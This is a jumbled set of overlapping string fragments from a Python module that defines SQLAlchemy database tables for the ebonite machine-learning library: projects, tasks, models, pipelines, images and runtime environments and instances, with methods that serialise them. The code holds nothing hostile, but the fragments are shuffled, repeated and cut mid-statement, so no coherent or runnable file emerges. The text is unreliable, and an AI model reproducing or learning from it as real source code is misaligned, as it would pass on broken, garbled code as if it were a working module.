"= relationship(\"SPipeline\", back_populates='task') images: Iterable['SImage'] = relationship(\"SImage\", back_populates='task') datasets = Column(Text) metrics =",
"datasets=dumps(task.datasets), metrics=dumps(task.metrics), evaluation_sets=dumps(task.evaluation_sets)) class SModel(Base, Attaching): __tablename__ = 'models' id = Column(Integer, primary_key=True,",
"TypeVar from pyjackson import dumps, loads from sqlalchemy import Column, DateTime, ForeignKey, Integer,",
"= Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=False, nullable=False) author = Column(String, unique=False,",
"author=self.author, creation_date=self.creation_date, id=self.id, params=safe_loads(self.params, RuntimeEnvironment.Params)) return self.attach(environment) @classmethod def get_kwargs(cls, environment: RuntimeEnvironment) ->",
"ebonite.core.objects.artifacts import ArtifactCollection from ebonite.core.objects.core import (Buildable, EvaluationResults, EvaluationSet, Image, Model, Pipeline, PipelineStep,",
"datasets = Column(Text) metrics = Column(Text) evaluation_sets = Column(Text) __table_args__ = (UniqueConstraint('name', 'project_id',",
"'pipelines' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=False, nullable=False) author =",
"class STask(Base, Attaching): __tablename__ = 'tasks' id = Column(Integer, primary_key=True, autoincrement=True) name =",
"sqlobject(obj) if not new and existing is not None: update_attrs(existing, **kwargs) return existing",
"unique=False, nullable=False) tasks: Iterable['STask'] = relationship(\"STask\", back_populates=\"project\") def to_obj(self) -> Project: p =",
"SImage(Base, Attaching): __tablename__ = 'images' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String,",
"task_id = Column(Integer, ForeignKey('tasks.id'), nullable=False) task = relationship(\"STask\", back_populates=\"images\") environment_id = Column(Integer, ForeignKey('environments.id'),",
"self.attach(instance) @classmethod def get_kwargs(cls, instance: RuntimeInstance) -> dict: return dict(id=instance.id, name=instance.name, author=instance.author, creation_date=instance.creation_date,",
"Iterable, List, Optional, Type, TypeVar from pyjackson import dumps, loads from sqlalchemy import",
"= Column(Integer, ForeignKey('tasks.id'), nullable=False) task = relationship(\"STask\", back_populates=\"images\") environment_id = Column(Integer, ForeignKey('environments.id'), nullable=False)",
"Model, Pipeline, PipelineStep, Project, RuntimeEnvironment, RuntimeInstance, Task) from ebonite.core.objects.dataset_source import DatasetSource from ebonite.core.objects.metric",
"from sqlalchemy.orm import relationship from ebonite.core.objects import DatasetType from ebonite.core.objects.artifacts import ArtifactCollection from",
"= Pipeline(name=self.name, steps=safe_loads(self.steps, List[PipelineStep]), input_data=safe_loads(self.input_data, DatasetType), output_data=safe_loads(self.output_data, DatasetType), author=self.author, creation_date=self.creation_date, id=self.id, task_id=self.task_id, evaluations=safe_loads(self.evaluations,",
"self.pipelines: task._pipelines.add(pipeline.to_obj()) for image in self.images: task._images.add(image.to_obj()) return self.attach(task) @classmethod def get_kwargs(cls, task:",
"SQL_OBJECT_FIELD, None) def update_attrs(obj, **attrs): for name, value in attrs.items(): setattr(obj, name, value)",
"evaluations = Column(Text) __table_args__ = (UniqueConstraint('name', 'task_id', name='pipelines_name_and_ref'),) def to_obj(self) -> Pipeline: pipeline",
"DatasetType from ebonite.core.objects.artifacts import ArtifactCollection from ebonite.core.objects.core import (Buildable, EvaluationResults, EvaluationSet, Image, Model,",
"datasets=safe_loads(self.datasets, Dict[str, DatasetSource]), metrics=safe_loads(self.metrics, Dict[str, Metric]), evaluation_sets=safe_loads(self.evaluation_sets, Dict[str, EvaluationSet])) for model in self.models:",
"for t in project.tasks.values()]) class STask(Base, Attaching): __tablename__ = 'tasks' id = Column(Integer,",
"Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) tasks: Iterable['STask'] = relationship(\"STask\", back_populates=\"project\")",
"creation_date=self.creation_date) for task in self.tasks: p._tasks.add(task.to_obj()) return self.attach(p) @classmethod def get_kwargs(cls, project: Project)",
"Column(Integer, ForeignKey('environments.id'), nullable=False) params = Column(Text) source = Column(Text) __table_args__ = (UniqueConstraint('name', 'task_id',",
"artifact=dumps(model.artifact), requirements=dumps(model.requirements), description=model.description, params=dumps(model.params), task_id=model.task_id, evaluations=dumps(model.evaluations)) class SPipeline(Base, Attaching): __tablename__ = 'pipelines' id",
"task_id = Column(Integer, ForeignKey('tasks.id'), nullable=False) task = relationship(\"STask\", back_populates=\"pipelines\") evaluations = Column(Text) __table_args__",
"Task(id=self.id, name=self.name, author=self.author, creation_date=self.creation_date, project_id=self.project_id, datasets=safe_loads(self.datasets, Dict[str, DatasetSource]), metrics=safe_loads(self.metrics, Dict[str, Metric]), evaluation_sets=safe_loads(self.evaluation_sets, Dict[str,",
"= RuntimeEnvironment( name=self.name, author=self.author, creation_date=self.creation_date, id=self.id, params=safe_loads(self.params, RuntimeEnvironment.Params)) return self.attach(environment) @classmethod def get_kwargs(cls,",
"= Image(name=self.name, author=self.author, creation_date=self.creation_date, id=self.id, task_id=self.task_id, params=safe_loads(self.params, Image.Params), source=safe_loads(self.source, Buildable), environment_id=self.environment_id) return self.attach(image)",
"= relationship(\"STask\", back_populates=\"project\") def to_obj(self) -> Project: p = Project(self.name, id=self.id, author=self.author, creation_date=self.creation_date)",
"Attaching): __tablename__ = 'environments' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=True,",
"self.attach(environment) @classmethod def get_kwargs(cls, environment: RuntimeEnvironment) -> dict: return dict(id=environment.id, name=environment.name, author=environment.author, creation_date=environment.creation_date,",
"return cls(**kwargs) @classmethod @abstractmethod def get_kwargs(cls, obj: T) -> dict: pass # pragma:",
"= 'tasks' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=False, nullable=False) author",
"creation_date=self.creation_date, artifact=safe_loads(self.artifact, ArtifactCollection), requirements=safe_loads(self.requirements, Requirements), description=self.description, params=safe_loads(self.params, Dict[str, Any]), id=self.id, task_id=self.task_id, evaluations=safe_loads(self.evaluations, Dict[str,",
"__tablename__ = 'pipelines' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=False, nullable=False)",
"Column(Text) __table_args__ = (UniqueConstraint('name', 'image_id', 'environment_id', name='instance_name_and_ref'),) def to_obj(self) -> RuntimeInstance: instance =",
"RuntimeEnvironment( name=self.name, author=self.author, creation_date=self.creation_date, id=self.id, params=safe_loads(self.params, RuntimeEnvironment.Params)) return self.attach(environment) @classmethod def get_kwargs(cls, environment:",
"Attaching): __tablename__ = 'instances' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=False,",
"'project_id', name='tasks_name_and_ref'),) def to_obj(self) -> Task: task = Task(id=self.id, name=self.name, author=self.author, creation_date=self.creation_date, project_id=self.project_id,",
"Column(DateTime, unique=False, nullable=False) project_id = Column(Integer, ForeignKey('projects.id'), nullable=False) project = relationship(\"SProject\", back_populates=\"tasks\") models:",
"Iterable['STask'] = relationship(\"STask\", back_populates=\"project\") def to_obj(self) -> Project: p = Project(self.name, id=self.id, author=self.author,",
"params=safe_loads(self.params, RuntimeInstance.Params)) return self.attach(instance) @classmethod def get_kwargs(cls, instance: RuntimeInstance) -> dict: return dict(id=instance.id,",
"-> T: pass # pragma: no cover Base = declarative_base() class SProject(Base, Attaching):",
"ForeignKey('tasks.id'), nullable=False) task = relationship(\"STask\", back_populates=\"images\") environment_id = Column(Integer, ForeignKey('environments.id'), nullable=False) params =",
"obj @classmethod def from_obj(cls: Type[S], obj: T, new=False) -> S: kwargs = cls.get_kwargs(obj)",
"id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=False, nullable=False) author = Column(String,",
"Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) params = Column(Text) def to_obj(self)",
"id=self.id, image_id=self.image_id, environment_id=self.environment_id, params=safe_loads(self.params, RuntimeInstance.Params)) return self.attach(instance) @classmethod def get_kwargs(cls, instance: RuntimeInstance) ->",
"= TypeVar('T') S = TypeVar('S', bound='Attaching') class Attaching: id = ... name =",
"nullable=False) params = Column(Text) source = Column(Text) __table_args__ = (UniqueConstraint('name', 'task_id', name='image_name_and_ref'),) def",
"author=self.author, creation_date=self.creation_date, artifact=safe_loads(self.artifact, ArtifactCollection), requirements=safe_loads(self.requirements, Requirements), description=self.description, params=safe_loads(self.params, Dict[str, Any]), id=self.id, task_id=self.task_id, evaluations=safe_loads(self.evaluations,",
"requirements = Column(Text) description = Column(Text) params = Column(Text) task_id = Column(Integer, ForeignKey('tasks.id'),",
"return dict(id=project.id, name=project.name, author=project.author, creation_date=project.creation_date, tasks=[STask.from_obj(t) for t in project.tasks.values()]) class STask(Base, Attaching):",
"for model in self.models: task._models.add(model.to_obj()) for pipeline in self.pipelines: task._pipelines.add(pipeline.to_obj()) for image in",
"dict(id=model.id, name=model.name, author=model.author, creation_date=model.creation_date, wrapper=dumps(model.wrapper_meta), artifact=dumps(model.artifact), requirements=dumps(model.requirements), description=model.description, params=dumps(model.params), task_id=model.task_id, evaluations=dumps(model.evaluations)) class SPipeline(Base,",
"Column(Text) output_data = Column(Text) task_id = Column(Integer, ForeignKey('tasks.id'), nullable=False) task = relationship(\"STask\", back_populates=\"pipelines\")",
"to_obj(self) -> T: pass # pragma: no cover Base = declarative_base() class SProject(Base,",
"class SProject(Base, Attaching): __tablename__ = 'projects' id = Column(Integer, primary_key=True, autoincrement=True) name =",
"sqlalchemy import Column, DateTime, ForeignKey, Integer, String, Text, UniqueConstraint from sqlalchemy.ext.declarative import declarative_base",
"'task_id', name='pipelines_name_and_ref'),) def to_obj(self) -> Pipeline: pipeline = Pipeline(name=self.name, steps=safe_loads(self.steps, List[PipelineStep]), input_data=safe_loads(self.input_data, DatasetType),",
"name = Column(String, unique=True, nullable=False) author = Column(String, unique=False, nullable=False) creation_date = Column(DateTime,",
"project_id=task.project_id, models=[SModel.from_obj(m) for m in task.models.values()], images=[SImage.from_obj(i) for i in task.images.values()], pipelines=[SPipeline.from_obj(p) for",
"TypeVar('S', bound='Attaching') class Attaching: id = ... name = ... def attach(self, obj):",
"unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) wrapper = Column(Text) artifact = Column(Text)",
"params=safe_loads(self.params, Dict[str, Any]), id=self.id, task_id=self.task_id, evaluations=safe_loads(self.evaluations, Dict[str, EvaluationResults])) return self.attach(model) @classmethod def get_kwargs(cls,",
"= Column(Text) task_id = Column(Integer, ForeignKey('tasks.id'), nullable=False) task = relationship(\"STask\", back_populates=\"pipelines\") evaluations =",
"= relationship(\"STask\", back_populates=\"pipelines\") evaluations = Column(Text) __table_args__ = (UniqueConstraint('name', 'task_id', name='pipelines_name_and_ref'),) def to_obj(self)",
"to_obj(self) -> Model: model = Model(name=self.name, wrapper_meta=safe_loads(self.wrapper, dict), author=self.author, creation_date=self.creation_date, artifact=safe_loads(self.artifact, ArtifactCollection), requirements=safe_loads(self.requirements,",
"for name, value in attrs.items(): setattr(obj, name, value) T = TypeVar('T') S =",
"Dict[str, Metric]), evaluation_sets=safe_loads(self.evaluation_sets, Dict[str, EvaluationSet])) for model in self.models: task._models.add(model.to_obj()) for pipeline in",
"artifact = Column(Text) requirements = Column(Text) description = Column(Text) params = Column(Text) task_id",
"to_obj(self) -> Pipeline: pipeline = Pipeline(name=self.name, steps=safe_loads(self.steps, List[PipelineStep]), input_data=safe_loads(self.input_data, DatasetType), output_data=safe_loads(self.output_data, DatasetType), author=self.author,",
"name=self.name, author=self.author, creation_date=self.creation_date, project_id=self.project_id, datasets=safe_loads(self.datasets, Dict[str, DatasetSource]), metrics=safe_loads(self.metrics, Dict[str, Metric]), evaluation_sets=safe_loads(self.evaluation_sets, Dict[str, EvaluationSet]))",
"ForeignKey, Integer, String, Text, UniqueConstraint from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import relationship",
"unique=False, nullable=False) author = Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) wrapper",
"def sqlobject(obj): return getattr(obj, SQL_OBJECT_FIELD, None) def update_attrs(obj, **attrs): for name, value in",
"get_kwargs(cls, task: Task) -> dict: return dict(id=task.id, name=task.name, author=task.author, creation_date=task.creation_date, project_id=task.project_id, models=[SModel.from_obj(m) for",
"SPipeline(Base, Attaching): __tablename__ = 'pipelines' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String,",
"for p in task.pipelines.values()], datasets=dumps(task.datasets), metrics=dumps(task.metrics), evaluation_sets=dumps(task.evaluation_sets)) class SModel(Base, Attaching): __tablename__ = 'models'",
"for task in self.tasks: p._tasks.add(task.to_obj()) return self.attach(p) @classmethod def get_kwargs(cls, project: Project) ->",
"requirements=safe_loads(self.requirements, Requirements), description=self.description, params=safe_loads(self.params, Dict[str, Any]), id=self.id, task_id=self.task_id, evaluations=safe_loads(self.evaluations, Dict[str, EvaluationResults])) return self.attach(model)",
"-> S: kwargs = cls.get_kwargs(obj) existing = sqlobject(obj) if not new and existing",
"getattr(obj, SQL_OBJECT_FIELD, None) def update_attrs(obj, **attrs): for name, value in attrs.items(): setattr(obj, name,",
"return obj @classmethod def from_obj(cls: Type[S], obj: T, new=False) -> S: kwargs =",
"List, Optional, Type, TypeVar from pyjackson import dumps, loads from sqlalchemy import Column,",
"name=image.name, author=image.author, creation_date=image.creation_date, task_id=image.task_id, params=dumps(image.params), source=dumps(image.source), environment_id=image.environment_id) class SRuntimeEnvironment(Base, Attaching): __tablename__ = 'environments'",
"Dict[str, EvaluationSet])) for model in self.models: task._models.add(model.to_obj()) for pipeline in self.pipelines: task._pipelines.add(pipeline.to_obj()) for",
"creation_date=self.creation_date, project_id=self.project_id, datasets=safe_loads(self.datasets, Dict[str, DatasetSource]), metrics=safe_loads(self.metrics, Dict[str, Metric]), evaluation_sets=safe_loads(self.evaluation_sets, Dict[str, EvaluationSet])) for model",
"in task.images.values()], pipelines=[SPipeline.from_obj(p) for p in task.pipelines.values()], datasets=dumps(task.datasets), metrics=dumps(task.metrics), evaluation_sets=dumps(task.evaluation_sets)) class SModel(Base, Attaching):",
"Column(Text) task_id = Column(Integer, ForeignKey('tasks.id'), nullable=False) task = relationship(\"STask\", back_populates=\"pipelines\") evaluations = Column(Text)",
"Buildable), environment_id=self.environment_id) return self.attach(image) @classmethod def get_kwargs(cls, image: Image) -> dict: return dict(id=image.id,",
"from ebonite.core.objects.metric import Metric from ebonite.core.objects.requirements import Requirements SQL_OBJECT_FIELD = '_sqlalchemy_object' def json_column():",
"project_id = Column(Integer, ForeignKey('projects.id'), nullable=False) project = relationship(\"SProject\", back_populates=\"tasks\") models: Iterable['SModel'] = relationship(\"SModel\",",
"= Column(Integer, ForeignKey('projects.id'), nullable=False) project = relationship(\"SProject\", back_populates=\"tasks\") models: Iterable['SModel'] = relationship(\"SModel\", back_populates=\"task\")",
"def to_obj(self) -> Pipeline: pipeline = Pipeline(name=self.name, steps=safe_loads(self.steps, List[PipelineStep]), input_data=safe_loads(self.input_data, DatasetType), output_data=safe_loads(self.output_data, DatasetType),",
"unique=False, nullable=False) steps = Column(Text) input_data = Column(Text) output_data = Column(Text) task_id =",
"no cover Base = declarative_base() class SProject(Base, Attaching): __tablename__ = 'projects' id =",
"ForeignKey('tasks.id'), nullable=False) task = relationship(\"STask\", back_populates=\"models\") evaluations = Column(Text) __table_args__ = (UniqueConstraint('name', 'task_id',",
"@classmethod def from_obj(cls: Type[S], obj: T, new=False) -> S: kwargs = cls.get_kwargs(obj) existing",
"-> Project: p = Project(self.name, id=self.id, author=self.author, creation_date=self.creation_date) for task in self.tasks: p._tasks.add(task.to_obj())",
"from ebonite.core.objects.core import (Buildable, EvaluationResults, EvaluationSet, Image, Model, Pipeline, PipelineStep, Project, RuntimeEnvironment, RuntimeInstance,",
"image: Image) -> dict: return dict(id=image.id, name=image.name, author=image.author, creation_date=image.creation_date, task_id=image.task_id, params=dumps(image.params), source=dumps(image.source), environment_id=image.environment_id)",
"task_id=pipeline.task_id, evaluations=dumps(pipeline.evaluations)) class SImage(Base, Attaching): __tablename__ = 'images' id = Column(Integer, primary_key=True, autoincrement=True)",
"# pragma: no cover Base = declarative_base() class SProject(Base, Attaching): __tablename__ = 'projects'",
"in task.pipelines.values()], datasets=dumps(task.datasets), metrics=dumps(task.metrics), evaluation_sets=dumps(task.evaluation_sets)) class SModel(Base, Attaching): __tablename__ = 'models' id =",
"self.models: task._models.add(model.to_obj()) for pipeline in self.pipelines: task._pipelines.add(pipeline.to_obj()) for image in self.images: task._images.add(image.to_obj()) return",
"@classmethod def get_kwargs(cls, task: Task) -> dict: return dict(id=task.id, name=task.name, author=task.author, creation_date=task.creation_date, project_id=task.project_id,",
"List[PipelineStep]), input_data=safe_loads(self.input_data, DatasetType), output_data=safe_loads(self.output_data, DatasetType), author=self.author, creation_date=self.creation_date, id=self.id, task_id=self.task_id, evaluations=safe_loads(self.evaluations, EvaluationResults)) return self.attach(pipeline)",
"wrapper=dumps(model.wrapper_meta), artifact=dumps(model.artifact), requirements=dumps(model.requirements), description=model.description, params=dumps(model.params), task_id=model.task_id, evaluations=dumps(model.evaluations)) class SPipeline(Base, Attaching): __tablename__ = 'pipelines'",
"@classmethod def get_kwargs(cls, pipeline: Pipeline) -> dict: return dict(id=pipeline.id, name=pipeline.name, author=pipeline.author, creation_date=pipeline.creation_date, steps=dumps(pipeline.steps),",
"Project, RuntimeEnvironment, RuntimeInstance, Task) from ebonite.core.objects.dataset_source import DatasetSource from ebonite.core.objects.metric import Metric from",
"task_id=model.task_id, evaluations=dumps(model.evaluations)) class SPipeline(Base, Attaching): __tablename__ = 'pipelines' id = Column(Integer, primary_key=True, autoincrement=True)",
"task_id=image.task_id, params=dumps(image.params), source=dumps(image.source), environment_id=image.environment_id) class SRuntimeEnvironment(Base, Attaching): __tablename__ = 'environments' id = Column(Integer,",
"creation_date=image.creation_date, task_id=image.task_id, params=dumps(image.params), source=dumps(image.source), environment_id=image.environment_id) class SRuntimeEnvironment(Base, Attaching): __tablename__ = 'environments' id =",
"nullable=False) wrapper = Column(Text) artifact = Column(Text) requirements = Column(Text) description = Column(Text)",
"author = Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) project_id = Column(Integer,",
"class Attaching: id = ... name = ... def attach(self, obj): setattr(obj, SQL_OBJECT_FIELD,",
"author=project.author, creation_date=project.creation_date, tasks=[STask.from_obj(t) for t in project.tasks.values()]) class STask(Base, Attaching): __tablename__ = 'tasks'",
"S: kwargs = cls.get_kwargs(obj) existing = sqlobject(obj) if not new and existing is",
"json_column(): return Column(Text) def safe_loads(payload, as_class): return loads(payload, Optional[as_class]) def sqlobject(obj): return getattr(obj,",
"description = Column(Text) params = Column(Text) task_id = Column(Integer, ForeignKey('tasks.id'), nullable=False) task =",
"RuntimeEnvironment, RuntimeInstance, Task) from ebonite.core.objects.dataset_source import DatasetSource from ebonite.core.objects.metric import Metric from ebonite.core.objects.requirements",
"nullable=False) params = Column(Text) __table_args__ = (UniqueConstraint('name', 'image_id', 'environment_id', name='instance_name_and_ref'),) def to_obj(self) ->",
"for pipeline in self.pipelines: task._pipelines.add(pipeline.to_obj()) for image in self.images: task._images.add(image.to_obj()) return self.attach(task) @classmethod",
"'projects' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=True, nullable=False) author =",
"task.pipelines.values()], datasets=dumps(task.datasets), metrics=dumps(task.metrics), evaluation_sets=dumps(task.evaluation_sets)) class SModel(Base, Attaching): __tablename__ = 'models' id = Column(Integer,",
"task._pipelines.add(pipeline.to_obj()) for image in self.images: task._images.add(image.to_obj()) return self.attach(task) @classmethod def get_kwargs(cls, task: Task)",
"sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import relationship from ebonite.core.objects import DatasetType from ebonite.core.objects.artifacts",
"= Column(Text) __table_args__ = (UniqueConstraint('name', 'task_id', name='image_name_and_ref'),) def to_obj(self) -> Image: image =",
"Column(Integer, ForeignKey('tasks.id'), nullable=False) task = relationship(\"STask\", back_populates=\"images\") environment_id = Column(Integer, ForeignKey('environments.id'), nullable=False) params",
"author=self.author, creation_date=self.creation_date) for task in self.tasks: p._tasks.add(task.to_obj()) return self.attach(p) @classmethod def get_kwargs(cls, project:",
"'environments' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=True, nullable=False) author =",
"def to_obj(self) -> RuntimeEnvironment: environment = RuntimeEnvironment( name=self.name, author=self.author, creation_date=self.creation_date, id=self.id, params=safe_loads(self.params, RuntimeEnvironment.Params))",
"nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) image_id = Column(Integer, ForeignKey('images.id'), nullable=False) environment_id =",
"relationship(\"STask\", back_populates=\"project\") def to_obj(self) -> Project: p = Project(self.name, id=self.id, author=self.author, creation_date=self.creation_date) for",
"@abstractmethod def to_obj(self) -> T: pass # pragma: no cover Base = declarative_base()",
"= Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) tasks: Iterable['STask'] = relationship(\"STask\",",
"Model) -> dict: return dict(id=model.id, name=model.name, author=model.author, creation_date=model.creation_date, wrapper=dumps(model.wrapper_meta), artifact=dumps(model.artifact), requirements=dumps(model.requirements), description=model.description, params=dumps(model.params),",
"dict), author=self.author, creation_date=self.creation_date, artifact=safe_loads(self.artifact, ArtifactCollection), requirements=safe_loads(self.requirements, Requirements), description=self.description, params=safe_loads(self.params, Dict[str, Any]), id=self.id, task_id=self.task_id,",
"author=self.author, creation_date=self.creation_date, id=self.id, task_id=self.task_id, evaluations=safe_loads(self.evaluations, EvaluationResults)) return self.attach(pipeline) @classmethod def get_kwargs(cls, pipeline: Pipeline)",
"get_kwargs(cls, pipeline: Pipeline) -> dict: return dict(id=pipeline.id, name=pipeline.name, author=pipeline.author, creation_date=pipeline.creation_date, steps=dumps(pipeline.steps), input_data=dumps(pipeline.input_data), output_data=dumps(pipeline.output_data),",
"= Column(Text) source = Column(Text) __table_args__ = (UniqueConstraint('name', 'task_id', name='image_name_and_ref'),) def to_obj(self) ->",
"def get_kwargs(cls, instance: RuntimeInstance) -> dict: return dict(id=instance.id, name=instance.name, author=instance.author, creation_date=instance.creation_date, image_id=instance.image_id, environment_id=instance.environment_id,",
"Column(DateTime, unique=False, nullable=False) params = Column(Text) def to_obj(self) -> RuntimeEnvironment: environment = RuntimeEnvironment(",
"def safe_loads(payload, as_class): return loads(payload, Optional[as_class]) def sqlobject(obj): return getattr(obj, SQL_OBJECT_FIELD, None) def",
"= Column(DateTime, unique=False, nullable=False) task_id = Column(Integer, ForeignKey('tasks.id'), nullable=False) task = relationship(\"STask\", back_populates=\"images\")",
"= 'models' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=False, nullable=False) author",
"in self.models: task._models.add(model.to_obj()) for pipeline in self.pipelines: task._pipelines.add(pipeline.to_obj()) for image in self.images: task._images.add(image.to_obj())",
"Iterable['SPipeline'] = relationship(\"SPipeline\", back_populates='task') images: Iterable['SImage'] = relationship(\"SImage\", back_populates='task') datasets = Column(Text) metrics",
"return self.attach(task) @classmethod def get_kwargs(cls, task: Task) -> dict: return dict(id=task.id, name=task.name, author=task.author,",
"Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=True, nullable=False) author = Column(String, unique=False, nullable=False)",
"primary_key=True, autoincrement=True) name = Column(String, unique=False, nullable=False) author = Column(String, unique=False, nullable=False) creation_date",
"typing import Any, Dict, Iterable, List, Optional, Type, TypeVar from pyjackson import dumps,",
"unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) steps = Column(Text) input_data = Column(Text)",
"= (UniqueConstraint('name', 'image_id', 'environment_id', name='instance_name_and_ref'),) def to_obj(self) -> RuntimeInstance: instance = RuntimeInstance( name=self.name,",
"Any, Dict, Iterable, List, Optional, Type, TypeVar from pyjackson import dumps, loads from",
"autoincrement=True) name = Column(String, unique=False, nullable=False) author = Column(String, unique=False, nullable=False) creation_date =",
"import declarative_base from sqlalchemy.orm import relationship from ebonite.core.objects import DatasetType from ebonite.core.objects.artifacts import",
"SProject(Base, Attaching): __tablename__ = 'projects' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String,",
"relationship(\"STask\", back_populates=\"models\") evaluations = Column(Text) __table_args__ = (UniqueConstraint('name', 'task_id', name='models_name_and_ref'),) def to_obj(self) ->",
"environment_id = Column(Integer, ForeignKey('environments.id'), nullable=False) params = Column(Text) source = Column(Text) __table_args__ =",
"pass # pragma: no cover Base = declarative_base() class SProject(Base, Attaching): __tablename__ =",
"new and existing is not None: update_attrs(existing, **kwargs) return existing return cls(**kwargs) @classmethod",
"return dict(id=image.id, name=image.name, author=image.author, creation_date=image.creation_date, task_id=image.task_id, params=dumps(image.params), source=dumps(image.source), environment_id=image.environment_id) class SRuntimeEnvironment(Base, Attaching): __tablename__",
"import dumps, loads from sqlalchemy import Column, DateTime, ForeignKey, Integer, String, Text, UniqueConstraint",
"relationship(\"SProject\", back_populates=\"tasks\") models: Iterable['SModel'] = relationship(\"SModel\", back_populates=\"task\") pipelines: Iterable['SPipeline'] = relationship(\"SPipeline\", back_populates='task') images:",
"new=False) -> S: kwargs = cls.get_kwargs(obj) existing = sqlobject(obj) if not new and",
"model: Model) -> dict: return dict(id=model.id, name=model.name, author=model.author, creation_date=model.creation_date, wrapper=dumps(model.wrapper_meta), artifact=dumps(model.artifact), requirements=dumps(model.requirements), description=model.description,",
"class SRuntimeEnvironment(Base, Attaching): __tablename__ = 'environments' id = Column(Integer, primary_key=True, autoincrement=True) name =",
"creation_date = Column(DateTime, unique=False, nullable=False) project_id = Column(Integer, ForeignKey('projects.id'), nullable=False) project = relationship(\"SProject\",",
"ArtifactCollection), requirements=safe_loads(self.requirements, Requirements), description=self.description, params=safe_loads(self.params, Dict[str, Any]), id=self.id, task_id=self.task_id, evaluations=safe_loads(self.evaluations, Dict[str, EvaluationResults])) return",
"Image.Params), source=safe_loads(self.source, Buildable), environment_id=self.environment_id) return self.attach(image) @classmethod def get_kwargs(cls, image: Image) -> dict:",
"task = relationship(\"STask\", back_populates=\"images\") environment_id = Column(Integer, ForeignKey('environments.id'), nullable=False) params = Column(Text) source",
"evaluations=safe_loads(self.evaluations, EvaluationResults)) return self.attach(pipeline) @classmethod def get_kwargs(cls, pipeline: Pipeline) -> dict: return dict(id=pipeline.id,",
"creation_date = Column(DateTime, unique=False, nullable=False) image_id = Column(Integer, ForeignKey('images.id'), nullable=False) environment_id = Column(Integer,",
"author = Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) params = Column(Text)",
"nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) wrapper = Column(Text) artifact = Column(Text) requirements",
"return Column(Text) def safe_loads(payload, as_class): return loads(payload, Optional[as_class]) def sqlobject(obj): return getattr(obj, SQL_OBJECT_FIELD,",
"output_data=dumps(pipeline.output_data), task_id=pipeline.task_id, evaluations=dumps(pipeline.evaluations)) class SImage(Base, Attaching): __tablename__ = 'images' id = Column(Integer, primary_key=True,",
"unique=True, nullable=False) author = Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) params",
"... name = ... def attach(self, obj): setattr(obj, SQL_OBJECT_FIELD, self) return obj @classmethod",
"nullable=False) author = Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) tasks: Iterable['STask']",
"author=self.author, creation_date=self.creation_date, id=self.id, image_id=self.image_id, environment_id=self.environment_id, params=safe_loads(self.params, RuntimeInstance.Params)) return self.attach(instance) @classmethod def get_kwargs(cls, instance:",
"import Any, Dict, Iterable, List, Optional, Type, TypeVar from pyjackson import dumps, loads",
"Column(Text) description = Column(Text) params = Column(Text) task_id = Column(Integer, ForeignKey('tasks.id'), nullable=False) task",
"= Column(Text) def to_obj(self) -> RuntimeEnvironment: environment = RuntimeEnvironment( name=self.name, author=self.author, creation_date=self.creation_date, id=self.id,",
"evaluations=dumps(pipeline.evaluations)) class SImage(Base, Attaching): __tablename__ = 'images' id = Column(Integer, primary_key=True, autoincrement=True) name",
"primary_key=True, autoincrement=True) name = Column(String, unique=True, nullable=False) author = Column(String, unique=False, nullable=False) creation_date",
"__tablename__ = 'environments' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=True, nullable=False)",
"name=project.name, author=project.author, creation_date=project.creation_date, tasks=[STask.from_obj(t) for t in project.tasks.values()]) class STask(Base, Attaching): __tablename__ =",
"task._images.add(image.to_obj()) return self.attach(task) @classmethod def get_kwargs(cls, task: Task) -> dict: return dict(id=task.id, name=task.name,",
"not new and existing is not None: update_attrs(existing, **kwargs) return existing return cls(**kwargs)",
"Dict[str, Any]), id=self.id, task_id=self.task_id, evaluations=safe_loads(self.evaluations, Dict[str, EvaluationResults])) return self.attach(model) @classmethod def get_kwargs(cls, model:",
"def get_kwargs(cls, environment: RuntimeEnvironment) -> dict: return dict(id=environment.id, name=environment.name, author=environment.author, creation_date=environment.creation_date, params=dumps(environment.params)) class",
"metrics=dumps(task.metrics), evaluation_sets=dumps(task.evaluation_sets)) class SModel(Base, Attaching): __tablename__ = 'models' id = Column(Integer, primary_key=True, autoincrement=True)",
"None: update_attrs(existing, **kwargs) return existing return cls(**kwargs) @classmethod @abstractmethod def get_kwargs(cls, obj: T)",
"-> dict: pass # pragma: no cover @abstractmethod def to_obj(self) -> T: pass",
"DatasetSource]), metrics=safe_loads(self.metrics, Dict[str, Metric]), evaluation_sets=safe_loads(self.evaluation_sets, Dict[str, EvaluationSet])) for model in self.models: task._models.add(model.to_obj()) for",
"models=[SModel.from_obj(m) for m in task.models.values()], images=[SImage.from_obj(i) for i in task.images.values()], pipelines=[SPipeline.from_obj(p) for p",
"return self.attach(model) @classmethod def get_kwargs(cls, model: Model) -> dict: return dict(id=model.id, name=model.name, author=model.author,",
"Column(DateTime, unique=False, nullable=False) steps = Column(Text) input_data = Column(Text) output_data = Column(Text) task_id",
